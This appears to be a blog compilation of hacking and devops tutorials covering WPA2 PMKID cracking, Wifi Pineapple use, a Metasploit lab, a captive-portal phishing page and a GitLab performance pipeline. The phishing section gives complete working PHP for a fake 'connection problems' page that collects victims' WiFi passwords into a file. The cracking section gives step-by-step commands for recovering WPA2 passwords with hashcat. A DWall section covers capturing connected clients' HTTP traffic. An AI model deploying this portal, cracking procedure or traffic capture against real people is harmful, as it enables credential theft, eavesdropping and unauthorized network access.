Crack WPA2 with PMKID on macOS

With very little effort and a few tools, you can crack WPA2 WiFi passwords on your macOS. This tutorial will show you how to do it. Bettercap, hcxpcaptool (via Docker) and hashcat are used for this. Please note that these instructions are only used for learning purposes!

Precondition

Bettercap

To install Bettercap on macOS you need first to install libusb. Therefor download latest version of libusb and follow next steps (after unzip).

# change directory
$ cd ~/Downloads/libusb-1.0.23

# execute configure script
$ ./configure

# build the binary
$ make

# install binary
$ make install

# change directory & delete
$ cd ~ && rm -fr ~/Downloads/libusb-1.0.23

Now download Bettercap precompiled binary, extract the ZIP and follow the next steps.

# move binary
$ sudo mv ~/Downloads/bettercap_darwin_amd64_v2.27.1/bettercap /usr/local/bin

# change permissions
$ sudo chmod +x /usr/local/bin/bettercap

# running bettercap updates
$ sudo bettercap -eval "caplets.update; ui.update; q"

# start bettercap with UI caplet
$ sudo bettercap -caplet http-ui

Note: In this guide we don’t change the default credentials (user,pass). You can do on file “/usr/local/share/bettercap/caplets/http-ui.cap”!

Open the Browser (http://127.0.0.1:80), login and start Wifi discovery (wifi.recon on). Send some association requests to the selected BSSID (wifi.assoc BSSID). In your home folder you should find the file “bettercap-wifi-handshakes.pcap”.

Bettercap web UI associate with BSSID

Finish your Bettercap session when you are done.

Wireshark

Optional you can use Wireshark to verify, if you recorded the PMKID on Robust Secure Network (RSN). Start Wireshark, open the file “bettercap-wifi-handshakes.pcap”, add the filter “eapol && wlan.rsn.ie.pmkid” and search the PMKID(s).

Wireshark RSN PMKID

hcxpcaptool

Now you need to convert (extract) the PMKID(s) from the Bettercap pcap file. For this you need the “hcxdumptool” from ZeraBea. Because OpenSSL is needed (and I don’t want to install it), I created a small Alpine Docker image (Dockerfile). You can follow next steps for usage.

# pull the image
$ docker pull slorenz/hcxpcaptool

# create directories
$ mkdir -p ~/Projects/PMKID/cap

# change directory
$ cd ~/Projects/PMKID/

# copy pcap into cap directory
$ cp ~/bettercap-wifi-handshakes.pcap ~/Projects/PMKID/cap/

# run container
$ docker run -ti --rm --mount src="$(pwd)/cap",target=/hcxpcaptool,type=bind slorenz/hcxpcaptool bettercap-wifi-handshakes.pcap

# show content (optional)
$ cat cap/pmkid.16800

Note: The columns (of pmkid.16800 content) are divided by * into following:

  • PMKID
  • MAC AP
  • MAC Station
  • ESSID

If you have not four columns, you need to repeat all previous steps for recording and convert!

hashcat

That was actually the easy part. Now we use Hashcat to crack the WPA2 passwords. The “only” challenge is the password length and the characters used. The next steps will guide you:

# create directory
$ mkdir -p ~/Projects

# change directory
$ cd ~/Projects

# clone git repository of hashcat
$ git clone https://github.com/hashcat/hashcat.git

# build binary
$ make -C hashcat/

# install binary
$ sudo make install -C hashcat/

# delete cloned repository (optional)
$ rm -fr ~/Projects/hashcat

# show hashcat help (optional)
$ hashcat -h

# run benchmark (optional)
$ hashcat -b

# execute hashcat
$ hashcat -m 16800 pmkid.16800 -a 3 -w 3 '?l?l?l?l?l?lt!'

That’s it … have fun and success!

Introduction into Wifi Pineapple API

After short time you might come to the idea to control your Wifi Pineapple via terminal only. Luckily the developers provided an API. There is already a Python wrapper available. But why not easily using curl and jq?

Objective

Learn how to setup and use (via curl) the Wifi Pineapple API.

Precondition

jq installed (latest)

Preparation

If not done already, you need to create a API token. To do so, open “Advanced” section – insert a token name and press button “Generate”.

Wifi Pineapple generate API token

The curl commands can be very long and unhandy. To make it a little easier to use, you should save and use the very long token (and header) as a variables ($TOKEN and $HEADER).

# create token variable
$ TOKEN="458aef505b17d0e954f95419c8da0df1047529708787bb04b15362bc3ecaa6e19e22d8bf2378293275c0e9ce6af62ef0e00691ec24aaa7309e6b9923067177af"

$ HEADER='-H "Content-type: application/json"'

# create a first simple nothification
$ curl -s -X POST  $HEADER -d '{"system": "notifications", "action": "addNotification", "message": "my first notification", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/

As the Wifi Pineapple use an well known prefix we cannot use jq directly! So we need to remove the prefix from our output. Now create a new variable and pipe the output through sed. In my case the following characters are used as response prefix “)]}’,“.

# create prefix variable
$ PREF=")]}',"

# create a second simple nothification (incl. sed and jq)
$ curl -s -X POST  $HEADER -d '{"system": "notifications", "action": "addNotification", "message": "my second notification", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

If everything was working well, the terminal output will be pretty-printed (via jq) and you should be able to see both notifications (Browser UI).

Wifi Pineapple notifications via API

API examples

The online API documentation is very good described. However, to give you a better start, a few examples are shown below.

# get current version of Wifi Pineapple
$ curl -s -X POST $HEADER -d '{"module": "Advanced", "action": "getCurrentVersion", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# get current time zone of Pineapple
$ curl -s -X POST $HEADER -d '{"module": "Configuration", "action": "getCurrentTimeZone", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# check available module storages
$ curl -s -X POST $HEADER -d '{"module": "ModuleManager", "action": "checkDestination", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

# get installed modules
$ curl -s -X POST $HEADER -d '{"module": "ModuleManager", "action": "getInstalledModules", "apiToken": "'$TOKEN'"}' http://192.168.2.10:1471/api/ | sed -e "s/^$PREF//" | jq .

I think you’ve got it. In similar way you can use the API for “Recon”, “Logging”, “Networking” and so on.

Understand and measure signal strength with Wifi Pineapple

It’s a long title for a tutorial this time. Don’t worry I will try my best to make it short and understandable. Many people wonder why there penetration of Wifi networks not really works and forget about an very important point: “Wifi Signal Strength”. But what is it? How can I measure it? Do I need to buy expensive software? Here a try to enlighten you. For this explanation I will use the Wifi Pineapple device with some command line tools and a nice UI module.

Objectiv

Understand the basics of Wifi Signal Strength and learn how to measure it.

Precondition

Wifi Pineapple device incl. SSH connection into it plus internet connection (to download the module).

The basics

The WiFi signal strength is given as the logarithmic (not linear) unit of measurement of the power dBm. Decibels are relative to milliwatts and are expressed as a negative number from 0 to -100. For example, a signal value of -50 is much stronger than a signal value of -70. A difference of 3 dBm is therefore halving or doubling the strength of the previous value. The following table should give some information about the values.

Signal strengthQualityDescription
-30 dBmExcellentOne of the best values ​​that can be achieved.
-50 dBmGoodAn very good signal level which allows all applications in the network.
-70 dBmAcceptableNot a good value, there are already severe application problems.
-90 dBmVery badVery bad value, there is usually no connection here.

The measurement

Now let’s get to the measurement quickly. Start the Wifi Pineapple and connect.

# SSH into Wifi Pineapple device
$ ssh root@192.168.2.10

Let’s take a look at the values ​​of the wifi devices themselves (these will be different).

# show statistics on each wireless interface in the system
$ cat /proc/net/wireless

# show interface configuration with ifconfig
$ ifconfig wlan0
$ ifconfig wlan1

# show interface configuration with iwconfig
$ iwconfig wlan0
$ iwconfig wlan1

Now we scan the Wifi’s and have the values ​​displayed (repeat this multiple times to get the average).

# use iwlist to scan (old way)
$ iwlist wlan0 scanning | egrep -i 'SSID|Quality'

# use iw to scan (modern way)
$ iw wlan0 scan | egrep -i 'SSID|signal'

Make it more visible

Under the Wifi Pineapple modules you can search for “SignalStrength” and install it. After successful installation, select the module then select one of your available wifi interfaces and press button “Scan”.

Wifi Pineapple module SignalStrength scan

After short time you will have outputs as table and graph.

Signal Level Graph

That’s it already. With these basics, you should be able to understand and perform your wifi penetration tests even better.

Wifi Pineapple Module DWall

This is the first tutorial about Wifi Pineapple modules. I will start with a simple one called DWall. With this module you can gather and display easily live informations from connected clients wich using the HTTP protocol.

Objective

Installation and usage of module DWall on the Wifi Pineapple.

Precondition

Your Wifi Pineapple need to have an internet connection.

Installation

This time we will use the browser UI for the installation. Let’s start… Look for DWall among the available modules, click the “Install” button and select the location (you should always select the SD card, if available).

DWall installation on Wifi Pineapple

Via Terminal you can verify the installation, too.

# list installed modules on sdcard folder
$ ssh root@192.168.2.10 -C 'ls -la /sd/modules/'

Usage

After successful installation (which should be quite fast), select the module. Now activate it and start the listener. As soon as a connected client makes requests with HTTP, you will see them in the module output. Depending on the responce, also other data such as pictures.

DWall report on Wifi Pineapple UI

Now the last one should also understand why encryption (HTTPS) is so important! Even if it is already used a lot, you will figure that many websites still work without encryption.

Getting started with Metasploit

Many tutorials about Metasploit are available on internet (as well many books and trainings), but most of them confusing beginners. My intention with the following content is to create a simple environment (via Docker) and to show the use of this. In order not to make it too boring, I also show some important basics for Metasploit itself.

Objective

Learn how to create and use a simple training environment as well as learn first basic metasploit commands.

Precondition

Docker (latest) installed

Prepare environment

As mentioned already we will use Docker. The benefits here are this does not need installations and no local installed Anti-virus tool does disturb and complain.

# create working directory and change location
$ mkdir -p ~/Projects/Metasploit/msf && cd ~/Projects/Metasploit

# list directories/files (optional)
$ tree .
|__msf

# create network
$ docker network create --subnet=172.18.0.0/16 metasploit

# check created network (optional)
$ docker network ls --filter driver=bridge --no-trunc

# run postgres container
$ docker run -d --name postgres --ip 172.18.0.2 --network metasploit -e POSTGRES_PASSWORD=postgres -e POSTGRES_USER=postgres -e POSTGRES_DB=msf -v "$(pwd)/msf/database:/var/lib/postgresql/data" postgres:11-alpine

# show logs (optional)
$ docker logs postgres

# run metasploit container
$ docker run --name metasploit --ip 172.18.0.3 --network metasploit -it -v "$(pwd)/msf/user:/home/msf/.msf4" -p 8443-8500:8443-8500 metasploitframework/metasploit-framework ./msfconsole

# list latest created containers (optional in different tty)
$ docker ps -n 2

Connect database

In this environment we need to connect the Postgres database manually.

# check database status (optional)
msf5 > db_status

# connect (if broken)
msf5 > db_connect postgres:postgres@172.18.0.2:5432/msf

Prepare Metasploit workspace

This is an very important step! It gets often forgotten in other tutorials. Without this steps you will have later many problems/confusions and may don’t understand why.

# list all workspaces
msf5 > workspace

# create new workspace
msf5 > workspace -a hackthissite.org

# list all hosts (optional)
msf5 > hosts

# list all services (optional)
msf5 > services

Some scanner actions

As promised here some other basics.

# search for scanner with name:tcp
msf5 > search auxiliary name:tcp

# select tcp portscanner module
msf5 > use auxiliary/scanner/portscan/tcp

# show detailed information (optional)
msf5 auxiliary(scanner/portscan/tcp) > info

# show options
msf5 auxiliary(scanner/portscan/tcp) > options

# set needed values
msf5 auxiliary(scanner/portscan/tcp) > set RHOSTS hackthissite.org
msf5 auxiliary(scanner/portscan/tcp) > set PORTS 20-100
msf5 auxiliary(scanner/portscan/tcp) > set THREADS 6

# execute scan
msf5 auxiliary(scanner/portscan/tcp) > run

# move out of the current context
msf5 auxiliary(scanner/portscan/tcp) > back

# list all hosts
msf5 > hosts

# list all services
msf5 > services

Stop and restart the environment

# stop metasploit container
msf5 > exit

# stop postgres container
$ docker stop postgres

# check container status (optional)
$ docker ps -a
# change directory (if not done already)
$ cd ~/Projects/Metasploit

# start postgres container (first)
$ docker start postgres

# start metasploit container
$ docker start metasploit

# run msfconsole (without banner)
$ docker exec -ti metasploit ./msfconsole -q

# connect to postgres (if broken)
msf5 > db_connect postgres:postgres@172.18.0.2:5432/msf
Connected to Postgres data service: 172.18.0.2/msf

# list workspaces
msf5 > workspace
  hackthissite.org
* default

# select specific workspace
msf5 > workspace 'hackthissite.org'
[*] Workspace: hackthissite.org

Now you have everything you need for the next tutorials.

Create landing pages for Wifi Pineapple

With the Wifi Pineapple from Hak5 you can create “Landing Pages” in few minutes. With some luck people insert their they credentials and you can use them. In this tutorial I will explain how easy this can be done without any extra modules installed (like Evil Portal and so on).

Objectives

Only with standard features we setup a captive portal (for the http protocol) in which we can try to collect credentials.

Precondition

To use the “Landing Page” feature of your Wifi Pineapple, you need a working internet connection on the device. In this tutorial you can learn how to do this for macOS.

Prepare and test locally

Before you write the code directly on the device, I recommend to code and and test it locally. This section will explain how.

# create project
$ mkdir -p ~/Projects/LandingPage

# change directory
$ cd ~/Projects/LandingPage

# create PHP file
$ vim index.php

# test with PHP built-in Web Server
$ php -S localhost:8000
<?php
// Landing page configuration
$SSID = 'ExampleSSID';

// Landing page content
if (isset($_POST['wifi_password']) && !empty(trim($_POST['wifi_password']))) {
  $data = $SSID . ':' . htmlspecialchars(trim($_POST['wifi_password'])) . "\n";
  file_put_contents('/tmp/wifi-passwords.txt', $data, FILE_APPEND | LOCK_EX);
  header("Location: https://google.com");
} else {
  echo '<!DOCTYPE HTML><html lang="en-US"><head>';
  echo '<title>' . $SSID . ' Connection Failure</title>';
  echo '<meta charset="utf-8">';
  echo '<meta name="viewport" content="width=device-width, initial-scale=1, maximum-scale=1, user-scalable=no">';
  echo '<meta name="generator" content="' . $SSID . '">';
  echo '<style>';
  echo 'html, body {';
  echo '  font-family: Helvetica, sans-serif;';
  echo '  background: #f3f2f2;';
  echo '}';
  echo 'h1 {';
  echo ' padding-bottom: 20px;';
  echo ' border-bottom: 1px solid #eee;';
  echo ' font-size: 25px;';
  echo ' color: #4288CC;';
  echo '}';
  echo 'p {';
  echo ' margin-bottom: 20px;';
  echo ' padding-bottom: 20px;';
  echo ' font-size: 15px;';
  echo ' color: #777;';
  echo ' border-bottom: 1px solid #eee;';
  echo '}';
  echo 'input {';
  echo ' padding: 5px;';
  echo '}';
  echo '.center {';
  echo '  margin: 150px auto auto auto;';
  echo '  padding: 20px;';
  echo '  width: 450px;';
  echo '  text-align: center;';
  echo '  border: 1px solid #ccc;';
  echo '  border-radius: 5px;';
  echo '  background: #fff;';
  echo '  box-shadow: 4px 4px 5px 0px rgba(50, 50, 50, 0.75);';
  echo '}';
  echo '</style></head>';
  echo '<div class="center">';
  echo '<h1>Wifi connection problems</h1>';
  echo '<p>Please enter your password for "' . $SSID . '" <br> and press "Reconnect" to solve this issue.</p>';
  echo '<form method="POST" action="' . htmlspecialchars($_SERVER["PHP_SELF"]) . '">';
  echo '<input type="password" name="wifi_password" size="35" maxlength="65"> ';
  echo '<input type="submit" name="submit" value="Reconnect">';
  echo '</form></div></html>';
}

Open your Browser and use the URL http://localhost:8000. You can go back to your favorite editor and work on it. After you’re done press Ctrl-C to quit the build-in server.

Create Landing Page on Wifi Pineapple

Connect in your Browser to the Wifi Pineapple device, login and copy/paste the php code into “Landing Page” textarea. Save and enable the feature.

Wifi Pineapple Landing Page configuration.

Here a picture from my iPad after joining the wifi network.

Fake captive portal from Pineapple

If you read the PHP code, you will see that all informations are stored into file wifi-passwords.txt.

# SSH into pineapple
$ ssh root@<wifi pineapple ip>

# read gathered informations
$ cat /tmp/wifi-passwords.txt

# or tail
$ tail -f /tmp/wifi-passwords.txt

Note: You can extend the code to gather the username and password (incl. checkbox for acceptable use policy) where users of public-access network are obliged to view and interact with before access is granted (like hotels, airports, etc.).

Share internet from macOS to Wifi Pineapple

I have been using the Wifi Pineapple Nano by Hak5 for a long time. What can I say – very, very cool tiny device. Since I am also a macOS user, I would like to show in this tutorial how I share my internet (Wifi to USB). There are various options but with this I have currently achieved the best results.

Important: You should carry out all firmware upgrades beforehand, since the settings (which I will show you soon) will be overwritten again.

Objectives

I would like to connect my Macbook to the Internet via WiFi and then make it available to the Wifi Pineapple via USB. So here both devices should be able to use the Internet without network conflicts.

Change Wifi Pineapple network

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple device via SSH
$ ssh root@172.16.42.1

# backup network file
$ cp /etc/config/network /etc/config/network.bak

# show all settings (optional)
$ uci show

# show network settings (optional)
$ uci show network

# change ip with UCI configuration tool
$ uci set network.lan.ipaddr='192.168.2.10'

# change gateway with UCI configuration tool
$ uci set network.lan.gateway='192.168.2.1'

# save changes
$ uci commit

# reboot device
$ reboot

The first steps of the configuration have been carried out. However, you still cannot connect to the device or share the internet!

Modify macOS network configuration

Now you have to configure the macos network dhcp with manual address (network.lan.gateway 192.168.2.1). To do this, open the network settings and select the Wifi Pineapple (AX88x72A). Select “DHCP with manual address” in the dropdown and assign the IP (next to Configure IPv4).

Configure device as DHCP with manual address.

You should also change the arrangement of your available network connections (devices). Click the gear icon and select “Set Service Order”. At the top should be the standard wifi followed by Wifi Pineapple.

set service order

After a short time, the settings should have been accepted.

Wifi to USB internet sharing

Now we are making the internet available from Wifi to Wifi Pineapple (USB). Launch Internet Sharing under System Preferences. On “Share your connection from” select the Wifi and on “To computers using” select the Wifi Pineapple.

share internet from Wifi to USB

Done … let’s verify all configurations.

# show interface configuration (optional)
$ ifconfig

# connect to Pineapple via SSH
$ ssh root@192.168.2.10

# run simple ping (optional)
$ ping -c 1 google.com

# exit SSH connection to Pineapple
$ exit

# open browser
$ open http://192.168.2.10:1471

Note: The Browser URL is now http://192.168.2.10:1471 (network.lan.ipaddr 192.168.2.10)!

After login you can go to the Dashboard and check “Bulletins” which should show the latest news from wifipineapple.com.

GitLab and Sitespeed.io

Within this tutorial I will explain shortly the combination of GitLab and Sitespeed.io. Normally GitLab provides this feature (Browser Performance Testing) but only with Premium or Silver editions. I imagine for this example that you know already the basics about GitLab pipelines, Docker in Docker and Sitespeed.io.

Preparation

As a first step you create a simple project directory with some files and one folder.

# create project directory
$ mkdir -p ~/Projects/SitespeedGitLab/ci

# change directory
cd ~/Projects/SitespeedGitLab

# create login file
$ vim ci/login.js

# create urls file
$ vim ci/urls.txt

# create pipeline file
$ vim .gitlab-ci.yml

# show structure (optional)
$ tree .
.
|__.gitlab-ci.yml
|__ci
  |__login.js
  |__urls.txt

Content of files

For the login we use the simplest version of a script which serves as pre script. You can expand it later as needed. If you do not need a login, you do not have to create this file (leave this out later in the command --preScript login.js).

module.exports = async function(context, commands) {

  // navigate to login page
  await commands.navigate('your domain');

  // add values into input fields
  await commands.addText.byId('username', 'input by id');
  await commands.addText.byId('password', 'input by id');

  // find the submit button and click it
  await commands.click.byClassName('Button');

  // wait to verify that you are logged in (incl. max time)
  return commands.wait.byId('specific tag with id',8000);
};

Let’s get to the next file. Here you simply enter all URLs to be checked. Each line represents a URL to be checked which (in our case) always precedes the login. There is also the possibility to login once for all sub-pages as well as various actions on the pages. In this case you would have to script everything (similar to pre/post scripts).

your url one
your url two
your url three

The files urls.txt and login.js have to be mounted inside the container. Therefore we choose the folder “ci”. After the successfully execution this folder will also provide the sitespeed reports.

Pipeline

The last step is the definition of GitLab pipeline. Here now a very simple example for .gitlab-ci.yml, with only one pipeline stage (test) and job (perf_tests). You can also expand this file later as you like (It’s already possible to build Docker images inside).

stages:
  - test

variables:
  DOCKER_HOST: tcp://localhost:2375/
  DOCKER_DRIVER: overlay2
  DOCKER_TLS_CERTDIR: ""

default:
  image: docker:stable
  services:
    - name: docker:dind

perf_tests:
  stage: test
  variables:
    MOUNT_PATH: "$CI_BUILDS_DIR/ci/"
    DOCKER_IMAGE: 'sitespeedio/sitespeed.io'
    BROWSER: 'firefox'
    ITERATION: '1'
  artifacts:
    name: "performance-reports"
    paths:
      - "$CI_BUILDS_DIR/ci/sitespeed-result/your domain"
  script:
    - docker run --shm-size=1g --rm -v $MOUNT_PATH:/sitespeed.io $DOCKER_IMAGE -b $BROWSER -n $ITERATION --preScript login.js urls.txt

Okay … done. You can commit/push everything into GitLab. After successfully pipeline run you can access the reports as GitLab pipeline artifacts (but not via repository folder -> because if the job is done the container and reports are gone).